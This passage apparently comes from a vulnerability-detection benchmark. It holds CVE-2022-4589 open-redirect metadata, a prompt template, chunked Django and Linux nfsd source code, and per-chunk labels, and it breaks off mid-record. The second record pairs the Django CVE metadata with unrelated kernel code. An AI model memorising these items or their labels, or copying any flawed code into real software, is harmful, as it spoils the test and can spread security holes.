this vulnerability is the function returnTo of the file termsandconditions/views.py. The manipulation leads to open redirect. The attack can be launched remotely. Upgrading to version 2.0.10 is able to address this issue. The name of the patch is 03396a1c2e0af95e12a45c5faef7e47a4b513e1a. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-216175."}], "evaluatorComment": null, "id": "CVE-2022-4589", "lastModified": "2023-01-06T13:52:10.523", "metrics": {"cvssMetricV2": null, "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L", "version": "3.0"}, "exploitabilityScore": 2.1, "impactScore": 3.4, "source": "cna@vuldb.com", "type": "Secondary"}], "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2022-12-17T13:15:09.883", "references": [{"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/cyface/django-termsandconditions/commit/03396a1c2e0af95e12a45c5faef7e47a4b513e1a"}, {"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/cyface/django-termsandconditions/pull/239"}, {"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/cyface/django-termsandconditions/releases/tag/v2.0.10"}, {"source": "cna@vuldb.com", "tags": ["Permissions Required", "Third Party Advisory"], "url": "https://vuldb.com/?id.216175"}], "sourceIdentifier": "cna@vuldb.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-601"}], "source": "cna@vuldb.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/cyface/django-termsandconditions/commit/03396a1c2e0af95e12a45c5faef7e47a4b513e1a"}, "type": "CWE-601"}
135
Determine whether the {function_name} code is vulnerable or not.
[ "\"\"\"Django Views for the termsandconditions module\"\"\"\nfrom urllib.parse import urlparse", "# pylint: disable=E1120,R0901,R0904\nfrom django.contrib.auth.models import User\nfrom django.db import IntegrityError", "from .forms import UserTermsAndConditionsModelForm, EmailTermsForm\nfrom .models import TermsAndConditions, UserTermsAndConditions\nfrom django.conf import settings\nfrom django.core.mail import send_mail\nfrom django.contrib import messages\nfrom django.http import HttpResponseRedirect, Http404\nfrom django.utils.translation import gettext as _\nfrom django.views.generic import DetailView, CreateView, FormView\nfrom django.template.loader import get_template", "from django.utils.encoding import iri_to_uri", "import logging\nfrom smtplib import SMTPException", "LOGGER = logging.getLogger(name=\"termsandconditions\")\nDEFAULT_TERMS_BASE_TEMPLATE = \"base.html\"\nDEFAULT_TERMS_IP_HEADER_NAME = \"REMOTE_ADDR\"", "\nclass GetTermsViewMixin(object):\n \"\"\"Checks URL parameters for slug and/or version to pull the right TermsAndConditions object\"\"\"", " def get_terms(self, kwargs):\n \"\"\"Checks URL parameters for slug and/or version to pull the right TermsAndConditions object\"\"\"", " slug = kwargs.get(\"slug\")\n version = kwargs.get(\"version\")", " if slug and version:\n terms = [\n TermsAndConditions.objects.filter(\n slug=slug, version_number=version\n ).latest(\"date_active\")\n ]\n elif slug:\n terms = [TermsAndConditions.get_active(slug)]\n else:\n # Return a list of not agreed to terms for the current user for the list view\n terms = TermsAndConditions.get_active_terms_not_agreed_to(self.request.user)\n return terms\n", " def get_return_to(self, from_dict):\n return_to = from_dict.get(\"returnTo\", \"/\")", " if self.is_safe_url(return_to):\n # Django recommends to use this together with the helper above\n return iri_to_uri(return_to)", " LOGGER.debug(\"Unsafe URL found: {}\".format(return_to))\n return \"/\"", " def is_safe_url(self, url):\n # In Django 3.0 is_safe_url is renamed, so we import conditionally:\n # https://docs.djangoproject.com/en/3.2/releases/3.0/#id3\n try:\n from django.utils.http import url_has_allowed_host_and_scheme\n except ImportError:\n from django.utils.http import (\n is_safe_url as url_has_allowed_host_and_scheme,\n )", " return url_has_allowed_host_and_scheme(url, settings.ALLOWED_HOSTS)\n", "\nclass AcceptTermsView(CreateView, GetTermsViewMixin):\n \"\"\"\n Terms and Conditions Acceptance view", " url: /terms/accept\n \"\"\"", " model = UserTermsAndConditions\n form_class = UserTermsAndConditionsModelForm\n template_name = \"termsandconditions/tc_accept_terms.html\"", " def get_context_data(self, **kwargs):\n \"\"\"Pass additional context data\"\"\"\n context = super().get_context_data(**kwargs)\n context[\"terms_base_template\"] = getattr(\n settings, \"TERMS_BASE_TEMPLATE\", DEFAULT_TERMS_BASE_TEMPLATE\n )\n return context", " def get_initial(self):\n \"\"\"Override of CreateView method, queries for which T&C to accept and catches returnTo from URL\"\"\"\n LOGGER.debug(\"termsandconditions.views.AcceptTermsView.get_initial\")", " terms = self.get_terms(self.kwargs)", " return_to = self.get_return_to(self.request.GET)", "\n return {\"terms\": terms, \"returnTo\": return_to}", " def post(self, request, *args, **kwargs):\n \"\"\"\n Handles POST request.\n \"\"\"", " return_url = self.get_return_to(self.request.POST)", " terms_ids = request.POST.getlist(\"terms\")", "", "\n if not terms_ids: # pragma: nocover\n return HttpResponseRedirect(return_url)", " if request.user.is_authenticated:\n user = request.user\n else:\n # Get user out of saved pipeline from django-socialauth\n if \"partial_pipeline\" in request.session:\n user_pk = request.session[\"partial_pipeline\"][\"kwargs\"][\"user\"][\"pk\"]\n user = User.objects.get(id=user_pk)\n else:\n return HttpResponseRedirect(\"/\")", " store_ip_address = getattr(settings, \"TERMS_STORE_IP_ADDRESS\", True)\n if store_ip_address:\n ip_address = request.META.get(\n getattr(settings, \"TERMS_IP_HEADER_NAME\", DEFAULT_TERMS_IP_HEADER_NAME)\n )\n if \",\" in ip_address:\n ip_address = ip_address.split(\",\")[0].strip()\n else:\n ip_address = \"\"", " for terms_id in terms_ids:\n try:\n new_user_terms = UserTermsAndConditions(\n user=user,\n terms=TermsAndConditions.objects.get(pk=int(terms_id)),\n ip_address=ip_address,\n )\n new_user_terms.save()\n except IntegrityError: # pragma: nocover\n pass", " return HttpResponseRedirect(return_url)", "\nclass EmailTermsView(FormView, GetTermsViewMixin):\n \"\"\"\n Email Terms and Conditions View", " url: /terms/email\n \"\"\"", " template_name = \"termsandconditions/tc_email_terms_form.html\"", " form_class = EmailTermsForm", " def get_context_data(self, **kwargs):\n \"\"\"Pass additional context data\"\"\"\n context = super().get_context_data(**kwargs)\n context[\"terms_base_template\"] = getattr(\n settings, \"TERMS_BASE_TEMPLATE\", DEFAULT_TERMS_BASE_TEMPLATE\n )\n return context", " def get_initial(self):\n \"\"\"Override of CreateView method, queries for which T&C send, catches returnTo from URL\"\"\"\n LOGGER.debug(\"termsandconditions.views.EmailTermsView.get_initial\")", " terms = self.get_terms(self.kwargs)\n", " return_to = self.get_return_to(self.request.GET)", "\n return {\"terms\": terms, \"returnTo\": return_to}", " def form_valid(self, form):\n \"\"\"Override of CreateView method, sends the email.\"\"\"\n LOGGER.debug(\"termsandconditions.views.EmailTermsView.form_valid\")", " template = get_template(\"termsandconditions/tc_email_terms.html\")\n template_rendered = template.render({\"terms\": form.cleaned_data.get(\"terms\")})", " LOGGER.debug(\"Email Terms Body:\")\n LOGGER.debug(template_rendered)", " try:\n send_mail(\n form.cleaned_data.get(\"email_subject\", _(\"Terms\")),\n template_rendered,\n settings.DEFAULT_FROM_EMAIL,\n [form.cleaned_data.get(\"email_address\")],\n fail_silently=False,\n )\n messages.add_message(\n self.request, messages.INFO, _(\"Terms and Conditions Sent.\")\n )\n except SMTPException: # pragma: no cover\n messages.add_message(\n self.request,\n messages.ERROR,\n _(\"An Error Occurred Sending Your Message.\"),\n )\n", " self.success_url = self.get_return_to(form.cleaned_data)", "\n return super().form_valid(form)", " def form_invalid(self, form):\n \"\"\"Override of CreateView method, logs invalid email form submissions.\"\"\"\n LOGGER.debug(\"Invalid Email Form Submitted\")\n messages.add_message(self.request, messages.ERROR, _(\"Invalid Email Address.\"))\n return super().form_invalid(form)", "\nclass TermsView(DetailView, GetTermsViewMixin):\n \"\"\"\n View Unaccepted Terms and Conditions View", " url: /terms/\n \"\"\"", " template_name = \"termsandconditions/tc_view_terms.html\"\n context_object_name = \"terms_list\"", " def get_context_data(self, **kwargs):\n \"\"\"Pass additional context data\"\"\"\n context = super().get_context_data(**kwargs)\n context[\"terms_base_template\"] = getattr(\n settings, \"TERMS_BASE_TEMPLATE\", DEFAULT_TERMS_BASE_TEMPLATE\n )\n return context", " def get_object(self, queryset=None):\n \"\"\"Override of DetailView method, queries for which T&C to return\"\"\"\n LOGGER.debug(\"termsandconditions.views.TermsView.get_object\")\n return self.get_terms(self.kwargs)", "\nclass TermsActiveView(TermsView):\n \"\"\"\n View Active Terms and Conditions View", " url: /terms/active/\n \"\"\"", " def get_object(self, queryset=None):\n \"\"\"Override of DetailView method, queries for which T&C to return\"\"\"\n LOGGER.debug(\"termsandconditions.views.AllTermsView.get_object\")\n return TermsAndConditions.get_active_terms_list()" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [269, 183], "buggy_code_start_loc": [245, 16], "filenames": ["termsandconditions/tests.py", "termsandconditions/views.py"], "fixing_code_end_loc": [278, 201], "fixing_code_start_loc": [245, 17], "message": "A vulnerability has been found in cyface Terms and Conditions Module up to 2.0.9 and classified as problematic. Affected by this vulnerability is the function returnTo of the file termsandconditions/views.py. The manipulation leads to open redirect. The attack can be launched remotely. Upgrading to version 2.0.10 is able to address this issue. The name of the patch is 03396a1c2e0af95e12a45c5faef7e47a4b513e1a. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-216175.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:django_terms_and_conditions_project:django_terms_and_conditions:*:*:*:*:*:*:*:*", "matchCriteriaId": "F2C43DF4-BBD4-4D53-9F33-3F078DDD6C04", "versionEndExcluding": "2.0.10", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in cyface Terms and Conditions Module up to 2.0.9 and classified as problematic. Affected by this vulnerability is the function returnTo of the file termsandconditions/views.py. The manipulation leads to open redirect. The attack can be launched remotely. Upgrading to version 2.0.10 is able to address this issue. The name of the patch is 03396a1c2e0af95e12a45c5faef7e47a4b513e1a. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-216175."}], "evaluatorComment": null, "id": "CVE-2022-4589", "lastModified": "2023-01-06T13:52:10.523", "metrics": {"cvssMetricV2": null, "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L", "version": "3.0"}, "exploitabilityScore": 2.1, "impactScore": 3.4, "source": "cna@vuldb.com", "type": "Secondary"}], "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2022-12-17T13:15:09.883", "references": [{"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/cyface/django-termsandconditions/commit/03396a1c2e0af95e12a45c5faef7e47a4b513e1a"}, {"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/cyface/django-termsandconditions/pull/239"}, {"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/cyface/django-termsandconditions/releases/tag/v2.0.10"}, {"source": "cna@vuldb.com", "tags": ["Permissions Required", "Third Party Advisory"], "url": "https://vuldb.com/?id.216175"}], "sourceIdentifier": "cna@vuldb.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-601"}], "source": "cna@vuldb.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/cyface/django-termsandconditions/commit/03396a1c2e0af95e12a45c5faef7e47a4b513e1a"}, "type": "CWE-601"}
135
Determine whether the {function_name} code is vulnerable or not.
[ "/* SPDX-License-Identifier: GPL-2.0 */\n/*\n * Copyright (c) 2014 Christoph Hellwig.\n */\n#undef TRACE_SYSTEM\n#define TRACE_SYSTEM nfsd", "#if !defined(_NFSD_TRACE_H) || defined(TRACE_HEADER_MULTI_READ)\n#define _NFSD_TRACE_H", "#include <linux/tracepoint.h>\n#include \"export.h\"\n#include \"nfsfh.h\"", "#define NFSD_TRACE_PROC_ARG_FIELDS \\\n\t\t__field(unsigned int, netns_ino) \\\n\t\t__field(u32, xid) \\\n\t\t__array(unsigned char, server, sizeof(struct sockaddr_in6)) \\\n\t\t__array(unsigned char, client, sizeof(struct sockaddr_in6))", "#define NFSD_TRACE_PROC_ARG_ASSIGNMENTS \\\n\t\tdo { \\\n\t\t\t__entry->netns_ino = SVC_NET(rqstp)->ns.inum; \\\n\t\t\t__entry->xid = be32_to_cpu(rqstp->rq_xid); \\\n\t\t\tmemcpy(__entry->server, &rqstp->rq_xprt->xpt_local, \\\n\t\t\t rqstp->rq_xprt->xpt_locallen); \\\n\t\t\tmemcpy(__entry->client, &rqstp->rq_xprt->xpt_remote, \\\n\t\t\t rqstp->rq_xprt->xpt_remotelen); \\\n\t\t} while (0);", "#define NFSD_TRACE_PROC_RES_FIELDS \\\n\t\t__field(unsigned int, netns_ino) \\\n\t\t__field(u32, xid) \\\n\t\t__field(unsigned long, status) \\\n\t\t__array(unsigned char, server, sizeof(struct sockaddr_in6)) \\\n\t\t__array(unsigned char, client, sizeof(struct sockaddr_in6))", "#define NFSD_TRACE_PROC_RES_ASSIGNMENTS(error) \\\n\t\tdo { \\\n\t\t\t__entry->netns_ino = SVC_NET(rqstp)->ns.inum; \\\n\t\t\t__entry->xid = be32_to_cpu(rqstp->rq_xid); \\\n\t\t\t__entry->status = be32_to_cpu(error); \\\n\t\t\tmemcpy(__entry->server, &rqstp->rq_xprt->xpt_local, \\\n\t\t\t rqstp->rq_xprt->xpt_locallen); \\\n\t\t\tmemcpy(__entry->client, &rqstp->rq_xprt->xpt_remote, \\\n\t\t\t rqstp->rq_xprt->xpt_remotelen); \\\n\t\t} while (0);", "TRACE_EVENT(nfsd_garbage_args_err,\n\tTP_PROTO(\n\t\tconst struct svc_rqst *rqstp\n\t),\n\tTP_ARGS(rqstp),\n\tTP_STRUCT__entry(\n\t\tNFSD_TRACE_PROC_ARG_FIELDS", "\t\t__field(u32, vers)\n\t\t__field(u32, proc)\n\t),\n\tTP_fast_assign(\n\t\tNFSD_TRACE_PROC_ARG_ASSIGNMENTS", "\t\t__entry->vers = rqstp->rq_vers;\n\t\t__entry->proc = rqstp->rq_proc;\n\t),\n\tTP_printk(\"xid=0x%08x vers=%u proc=%u\",\n\t\t__entry->xid, __entry->vers, __entry->proc\n\t)\n);", "TRACE_EVENT(nfsd_cant_encode_err,\n\tTP_PROTO(\n\t\tconst struct svc_rqst *rqstp\n\t),\n\tTP_ARGS(rqstp),\n\tTP_STRUCT__entry(\n\t\tNFSD_TRACE_PROC_ARG_FIELDS", "\t\t__field(u32, vers)\n\t\t__field(u32, proc)\n\t),\n\tTP_fast_assign(\n\t\tNFSD_TRACE_PROC_ARG_ASSIGNMENTS", "\t\t__entry->vers = rqstp->rq_vers;\n\t\t__entry->proc = rqstp->rq_proc;\n\t),\n\tTP_printk(\"xid=0x%08x vers=%u proc=%u\",\n\t\t__entry->xid, __entry->vers, __entry->proc\n\t)\n);", "#define show_nfsd_may_flags(x)\t\t\t\t\t\t\\\n\t__print_flags(x, \"|\",\t\t\t\t\t\t\\\n\t\t{ NFSD_MAY_EXEC,\t\t\"EXEC\" },\t\t\\\n\t\t{ NFSD_MAY_WRITE,\t\t\"WRITE\" },\t\t\\\n\t\t{ NFSD_MAY_READ,\t\t\"READ\" },\t\t\\\n\t\t{ NFSD_MAY_SATTR,\t\t\"SATTR\" },\t\t\\\n\t\t{ NFSD_MAY_TRUNC,\t\t\"TRUNC\" },\t\t\\\n\t\t{ NFSD_MAY_LOCK,\t\t\"LOCK\" },\t\t\\\n\t\t{ NFSD_MAY_OWNER_OVERRIDE,\t\"OWNER_OVERRIDE\" },\t\\\n\t\t{ NFSD_MAY_LOCAL_ACCESS,\t\"LOCAL_ACCESS\" },\t\\\n\t\t{ NFSD_MAY_BYPASS_GSS_ON_ROOT,\t\"BYPASS_GSS_ON_ROOT\" },\t\\\n\t\t{ NFSD_MAY_NOT_BREAK_LEASE,\t\"NOT_BREAK_LEASE\" },\t\\\n\t\t{ NFSD_MAY_BYPASS_GSS,\t\t\"BYPASS_GSS\" },\t\t\\\n\t\t{ NFSD_MAY_READ_IF_EXEC,\t\"READ_IF_EXEC\" },\t\\\n\t\t{ NFSD_MAY_64BIT_COOKIE,\t\"64BIT_COOKIE\" })", "TRACE_EVENT(nfsd_compound,\n\tTP_PROTO(const struct svc_rqst *rqst,\n\t\t u32 args_opcnt),\n\tTP_ARGS(rqst, args_opcnt),\n\tTP_STRUCT__entry(\n\t\t__field(u32, xid)\n\t\t__field(u32, args_opcnt)\n\t),\n\tTP_fast_assign(\n\t\t__entry->xid = be32_to_cpu(rqst->rq_xid);\n\t\t__entry->args_opcnt = args_opcnt;\n\t),\n\tTP_printk(\"xid=0x%08x opcnt=%u\",\n\t\t__entry->xid, __entry->args_opcnt)\n)", "TRACE_EVENT(nfsd_compound_status,\n\tTP_PROTO(u32 args_opcnt,\n\t\t u32 resp_opcnt,\n\t\t __be32 status,\n\t\t const char *name),\n\tTP_ARGS(args_opcnt, resp_opcnt, status, name),\n\tTP_STRUCT__entry(\n\t\t__field(u32, args_opcnt)\n\t\t__field(u32, resp_opcnt)\n\t\t__field(int, status)\n\t\t__string(name, name)\n\t),\n\tTP_fast_assign(\n\t\t__entry->args_opcnt = args_opcnt;\n\t\t__entry->resp_opcnt = resp_opcnt;\n\t\t__entry->status = be32_to_cpu(status);\n\t\t__assign_str(name, name);\n\t),\n\tTP_printk(\"op=%u/%u %s status=%d\",\n\t\t__entry->resp_opcnt, __entry->args_opcnt,\n\t\t__get_str(name), __entry->status)\n)", "TRACE_EVENT(nfsd_compound_decode_err,\n\tTP_PROTO(\n\t\tconst struct svc_rqst *rqstp,\n\t\tu32 args_opcnt,\n\t\tu32 resp_opcnt,\n\t\tu32 opnum,\n\t\t__be32 status\n\t),\n\tTP_ARGS(rqstp, args_opcnt, resp_opcnt, opnum, status),\n\tTP_STRUCT__entry(\n\t\tNFSD_TRACE_PROC_RES_FIELDS", "\t\t__field(u32, args_opcnt)\n\t\t__field(u32, resp_opcnt)\n\t\t__field(u32, opnum)\n\t),\n\tTP_fast_assign(\n\t\tNFSD_TRACE_PROC_RES_ASSIGNMENTS(status)", "\t\t__entry->args_opcnt = args_opcnt;\n\t\t__entry->resp_opcnt = resp_opcnt;\n\t\t__entry->opnum = opnum;\n\t),\n\tTP_printk(\"op=%u/%u opnum=%u status=%lu\",\n\t\t__entry->resp_opcnt, __entry->args_opcnt,\n\t\t__entry->opnum, __entry->status)\n);", "TRACE_EVENT(nfsd_compound_encode_err,\n\tTP_PROTO(\n\t\tconst struct svc_rqst *rqstp,\n\t\tu32 opnum,\n\t\t__be32 status\n\t),\n\tTP_ARGS(rqstp, opnum, status),\n\tTP_STRUCT__entry(\n\t\tNFSD_TRACE_PROC_RES_FIELDS", "\t\t__field(u32, opnum)\n\t),\n\tTP_fast_assign(\n\t\tNFSD_TRACE_PROC_RES_ASSIGNMENTS(status)", "\t\t__entry->opnum = opnum;\n\t),\n\tTP_printk(\"opnum=%u status=%lu\",\n\t\t__entry->opnum, __entry->status)\n);", "\nDECLARE_EVENT_CLASS(nfsd_fh_err_class,\n\tTP_PROTO(struct svc_rqst *rqstp,\n\t\t struct svc_fh\t*fhp,\n\t\t int\t\tstatus),\n\tTP_ARGS(rqstp, fhp, status),\n\tTP_STRUCT__entry(\n\t\t__field(u32, xid)\n\t\t__field(u32, fh_hash)\n\t\t__field(int, status)\n\t),\n\tTP_fast_assign(\n\t\t__entry->xid = be32_to_cpu(rqstp->rq_xid);\n\t\t__entry->fh_hash = knfsd_fh_hash(&fhp->fh_handle);\n\t\t__entry->status = status;\n\t),\n\tTP_printk(\"xid=0x%08x fh_hash=0x%08x status=%d\",\n\t\t __entry->xid, __entry->fh_hash,\n\t\t __entry->status)\n)", "#define DEFINE_NFSD_FH_ERR_EVENT(name)\t\t\\\nDEFINE_EVENT(nfsd_fh_err_class, nfsd_##name,\t\\\n\tTP_PROTO(struct svc_rqst *rqstp,\t\\\n\t\t struct svc_fh\t*fhp,\t\t\\\n\t\t int\t\tstatus),\t\\\n\tTP_ARGS(rqstp, fhp, status))", "DEFINE_NFSD_FH_ERR_EVENT(set_fh_dentry_badexport);\nDEFINE_NFSD_FH_ERR_EVENT(set_fh_dentry_badhandle);", "TRACE_EVENT(nfsd_exp_find_key,\n\tTP_PROTO(const struct svc_expkey *key,\n\t\t int status),\n\tTP_ARGS(key, status),\n\tTP_STRUCT__entry(\n\t\t__field(int, fsidtype)\n\t\t__array(u32, fsid, 6)\n\t\t__string(auth_domain, key->ek_client->name)\n\t\t__field(int, status)\n\t),\n\tTP_fast_assign(\n\t\t__entry->fsidtype = key->ek_fsidtype;\n\t\tmemcpy(__entry->fsid, key->ek_fsid, 4*6);\n\t\t__assign_str(auth_domain, key->ek_client->name);\n\t\t__entry->status = status;\n\t),\n\tTP_printk(\"fsid=%x::%s domain=%s status=%d\",\n\t\t__entry->fsidtype,\n\t\t__print_array(__entry->fsid, 6, 4),\n\t\t__get_str(auth_domain),\n\t\t__entry->status\n\t)\n);", "TRACE_EVENT(nfsd_expkey_update,\n\tTP_PROTO(const struct svc_expkey *key, const char *exp_path),\n\tTP_ARGS(key, exp_path),\n\tTP_STRUCT__entry(\n\t\t__field(int, fsidtype)\n\t\t__array(u32, fsid, 6)\n\t\t__string(auth_domain, key->ek_client->name)\n\t\t__string(path, exp_path)\n\t\t__field(bool, cache)\n\t),\n\tTP_fast_assign(\n\t\t__entry->fsidtype = key->ek_fsidtype;\n\t\tmemcpy(__entry->fsid, key->ek_fsid, 4*6);\n\t\t__assign_str(auth_domain, key->ek_client->name);\n\t\t__assign_str(path, exp_path);\n\t\t__entry->cache = !test_bit(CACHE_NEGATIVE, &key->h.flags);\n\t),\n\tTP_printk(\"fsid=%x::%s domain=%s path=%s cache=%s\",\n\t\t__entry->fsidtype,\n\t\t__print_array(__entry->fsid, 6, 4),\n\t\t__get_str(auth_domain),\n\t\t__get_str(path),\n\t\t__entry->cache ? \"pos\" : \"neg\"\n\t)\n);", "TRACE_EVENT(nfsd_exp_get_by_name,\n\tTP_PROTO(const struct svc_export *key,\n\t\t int status),\n\tTP_ARGS(key, status),\n\tTP_STRUCT__entry(\n\t\t__string(path, key->ex_path.dentry->d_name.name)\n\t\t__string(auth_domain, key->ex_client->name)\n\t\t__field(int, status)\n\t),\n\tTP_fast_assign(\n\t\t__assign_str(path, key->ex_path.dentry->d_name.name);\n\t\t__assign_str(auth_domain, key->ex_client->name);\n\t\t__entry->status = status;\n\t),\n\tTP_printk(\"path=%s domain=%s status=%d\",\n\t\t__get_str(path),\n\t\t__get_str(auth_domain),\n\t\t__entry->status\n\t)\n);", "TRACE_EVENT(nfsd_export_update,\n\tTP_PROTO(const struct svc_export *key),\n\tTP_ARGS(key),\n\tTP_STRUCT__entry(\n\t\t__string(path, key->ex_path.dentry->d_name.name)\n\t\t__string(auth_domain, key->ex_client->name)\n\t\t__field(bool, cache)\n\t),\n\tTP_fast_assign(\n\t\t__assign_str(path, key->ex_path.dentry->d_name.name);\n\t\t__assign_str(auth_domain, key->ex_client->name);\n\t\t__entry->cache = !test_bit(CACHE_NEGATIVE, &key->h.flags);\n\t),\n\tTP_printk(\"path=%s domain=%s cache=%s\",\n\t\t__get_str(path),\n\t\t__get_str(auth_domain),\n\t\t__entry->cache ? \"pos\" : \"neg\"\n\t)\n);", "DECLARE_EVENT_CLASS(nfsd_io_class,\n\tTP_PROTO(struct svc_rqst *rqstp,\n\t\t struct svc_fh\t*fhp,\n\t\t loff_t\t\toffset,\n\t\t unsigned long\tlen),\n\tTP_ARGS(rqstp, fhp, offset, len),\n\tTP_STRUCT__entry(\n\t\t__field(u32, xid)\n\t\t__field(u32, fh_hash)\n\t\t__field(loff_t, offset)\n\t\t__field(unsigned long, len)\n\t),\n\tTP_fast_assign(\n\t\t__entry->xid = be32_to_cpu(rqstp->rq_xid);\n\t\t__entry->fh_hash = knfsd_fh_hash(&fhp->fh_handle);\n\t\t__entry->offset = offset;\n\t\t__entry->len = len;\n\t),\n\tTP_printk(\"xid=0x%08x fh_hash=0x%08x offset=%lld len=%lu\",\n\t\t __entry->xid, __entry->fh_hash,\n\t\t __entry->offset, __entry->len)\n)", "#define DEFINE_NFSD_IO_EVENT(name)\t\t\\\nDEFINE_EVENT(nfsd_io_class, nfsd_##name,\t\\\n\tTP_PROTO(struct svc_rqst *rqstp,\t\\\n\t\t struct svc_fh\t*fhp,\t\t\\\n\t\t loff_t\t\toffset,\t\t\\\n\t\t unsigned long\tlen),\t\t\\\n\tTP_ARGS(rqstp, fhp, offset, len))", "DEFINE_NFSD_IO_EVENT(read_start);\nDEFINE_NFSD_IO_EVENT(read_splice);\nDEFINE_NFSD_IO_EVENT(read_vector);\nDEFINE_NFSD_IO_EVENT(read_io_done);\nDEFINE_NFSD_IO_EVENT(read_done);\nDEFINE_NFSD_IO_EVENT(write_start);\nDEFINE_NFSD_IO_EVENT(write_opened);\nDEFINE_NFSD_IO_EVENT(write_io_done);\nDEFINE_NFSD_IO_EVENT(write_done);", "DECLARE_EVENT_CLASS(nfsd_err_class,\n\tTP_PROTO(struct svc_rqst *rqstp,\n\t\t struct svc_fh\t*fhp,\n\t\t loff_t\t\toffset,\n\t\t int\t\tstatus),\n\tTP_ARGS(rqstp, fhp, offset, status),\n\tTP_STRUCT__entry(\n\t\t__field(u32, xid)\n\t\t__field(u32, fh_hash)\n\t\t__field(loff_t, offset)\n\t\t__field(int, status)\n\t),\n\tTP_fast_assign(\n\t\t__entry->xid = be32_to_cpu(rqstp->rq_xid);\n\t\t__entry->fh_hash = knfsd_fh_hash(&fhp->fh_handle);\n\t\t__entry->offset = offset;\n\t\t__entry->status = status;\n\t),\n\tTP_printk(\"xid=0x%08x fh_hash=0x%08x offset=%lld status=%d\",\n\t\t __entry->xid, __entry->fh_hash,\n\t\t __entry->offset, __entry->status)\n)", "#define DEFINE_NFSD_ERR_EVENT(name)\t\t\\\nDEFINE_EVENT(nfsd_err_class, nfsd_##name,\t\\\n\tTP_PROTO(struct svc_rqst *rqstp,\t\\\n\t\t struct svc_fh\t*fhp,\t\t\\\n\t\t loff_t\t\toffset,\t\t\\\n\t\t int\t\tlen),\t\t\\\n\tTP_ARGS(rqstp, fhp, offset, len))", "DEFINE_NFSD_ERR_EVENT(read_err);\nDEFINE_NFSD_ERR_EVENT(write_err);", "TRACE_EVENT(nfsd_dirent,\n\tTP_PROTO(struct svc_fh *fhp,\n\t\t u64 ino,\n\t\t const char *name,\n\t\t int namlen),\n\tTP_ARGS(fhp, ino, name, namlen),\n\tTP_STRUCT__entry(\n\t\t__field(u32, fh_hash)\n\t\t__field(u64, ino)\n\t\t__field(int, len)\n\t\t__dynamic_array(unsigned char, name, namlen)\n\t),\n\tTP_fast_assign(\n\t\t__entry->fh_hash = fhp ? knfsd_fh_hash(&fhp->fh_handle) : 0;\n\t\t__entry->ino = ino;\n\t\t__entry->len = namlen;\n\t\tmemcpy(__get_str(name), name, namlen);", "\t\t__assign_str(name, name);", "\t),\n\tTP_printk(\"fh_hash=0x%08x ino=%llu name=%.*s\",\n\t\t__entry->fh_hash, __entry->ino,\n\t\t__entry->len, __get_str(name))\n)", "#include \"state.h\"\n#include \"filecache.h\"\n#include \"vfs.h\"", "DECLARE_EVENT_CLASS(nfsd_stateid_class,\n\tTP_PROTO(stateid_t *stp),\n\tTP_ARGS(stp),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__field(u32, si_id)\n\t\t__field(u32, 